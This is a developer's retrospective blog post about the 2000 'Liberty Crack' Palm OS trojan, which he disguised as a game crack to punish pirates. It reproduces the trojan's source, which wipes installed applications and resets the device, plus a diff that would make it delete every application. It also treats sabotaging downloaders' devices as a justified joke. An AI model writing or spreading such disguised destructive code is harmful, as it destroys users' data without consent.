>> DIGGING UP THE ARCHIVES - PALMOS LIBERTY TROJAN HORSE
I was rummaging through my old harddrives and came across the original source
code from 2000.
In August 2000, things got a
little crazy
in the Palm world and I was smack in the middle of it. Just ironic that
with the recent posts on Pokémon GO and the reverse engineering effort
that in those times I was the one in the battle against the community known
as #pilotwarez. I read up about the developer behind FastPokeMap feeling a
little stressed from all the bashing from users and developers - it just
reminded me of the state I was in way back then, well over 15 years ago.
It was quite a funny and ironic story actually.
I was known for engaging in an epic battle with the #pilotwarez group,
participating in their IRC channels - having open discussions with the
members of the groups, learning more and more about their techniques
and constantly working on new ways to be one step ahead. A classic
cat and mouse game which, I was destined to lose in the end.
I was actually invited by Palm at the time to present at the PalmSource
conference some of my findings from working on anti-cracking techniques;
a lot of the principles remain valid today - unfortunately the tools
are so much better than they were back then, making it an even more
one-sided affair. A copy of the whitepaper is linked at the end of ths
blog entry.
At one point; Mike (other co-author) and I thought we were winning the
battle - it had been a few weeks since the last crack was made available
and everyone was going frantic, demanding #pilotwarez for a crack. So
I had an idea - in the end, it was leaked (not by me) to the channel and
you should have seen the mayhem that occurred. A few "WTF?" statements,
to say the least.
From one side, I was praised for what happened - developers supported me
for what I was doing and even the staff from Palm/PalmSource told me not
to worry about anything - as there was a simple solution; perform a HotSync.
On the other hand; the ones who downloaded the app, thinking it was a
solution to their multi-week wait to crack our game - it was a slap in the
face.
Boy did I become a house-hold name - I had friends reporting they had
heard my name on local radio stations and let's not talk about how much
press this got. I even got calls from major newspapers wanting an
interview. The worst, was anti-virus companies offering me money for the
source code - they were just waiting for something like this to promote
their business, pure scum. However, in the end - the whole thing was
labelled as low threat by Sophos.
Liberty is a popular application that emulates Game Boy games for the Palm.
The Palm developer who co-wrote the original Liberty program is named
Aaron Ardiri. Ardiri has actively campaigned against crackers who search
for methods of breaking security codes for Palm games and applications.
The “Liberty” Crack program was actually written by Ardiri to be a
destructive Palm application disguised as a free version of the Liberty
application.
Well, the Palm OS platform is long gone - so here is the source code:
UInt32
PilotMain(UInt16 cmd, MemPtr cmdPBP, UInt16 launchFlags)
{
UInt32 result = 0;
// what type of launch was this?
switch (cmd)
{
case sysAppLaunchCmdNormalLaunch:
{
DmSearchStateType stateInfo;
UInt16 card;
LocalID dbID;
// this program will remove a few 'appl' type
// databases from the device causing "orphaned"
// data files to remain on the device.
// get the first database of type 'appl'
DmGetNextDatabaseByTypeCreator(
true, &stateInfo, 'appl', 0, false, &card, &dbID);
while (error == errNone)
{
// bye-bye :)
DmDeleteDatabase(card, dbID);
// get the next database
DmGetNextDatabaseByTypeCreator(
false, &stateInfo, 'appl', 0, false, &card, &dbID);
}
// reset.. :)
SysReset();
}
break;
default:
break;
}
return result;
}
At least I had some humor while documenting - "bye-bye :)".
There was however a small bug in the implementation - by deleting a
database; the first parameter on the next call to
DmGetNextDatabaseByTypeCreator should have been reset,
passing true instead of false as the search tree
was cached causing it to skip the next a database with the type
appl. I never tested the application - but the result was
every second application was removed.
// get the next database
DmGetNextDatabaseByTypeCreator(
- false, &stateInfo, 'appl', 0, false, &card, &dbID);
+ true, &stateInfo, 'appl', 0, false, &card, &dbID);
Would have done every appl type database on the users device. Oh well,
they got lucky this time.
I wonder what else I can find on my old hard drives - I do remember
experimenting with dynamic patching of applications that could be
spread via beaming over IRDA. But I learnt my lesson to do that for research
purposes only, not to let it get out in the wild. I have a feeling
after the scare, I put code like that on encrypted volumes which I
guess now are lost forever.
Oh well, even the most simplest (and shortest) of applications can
even have bugs.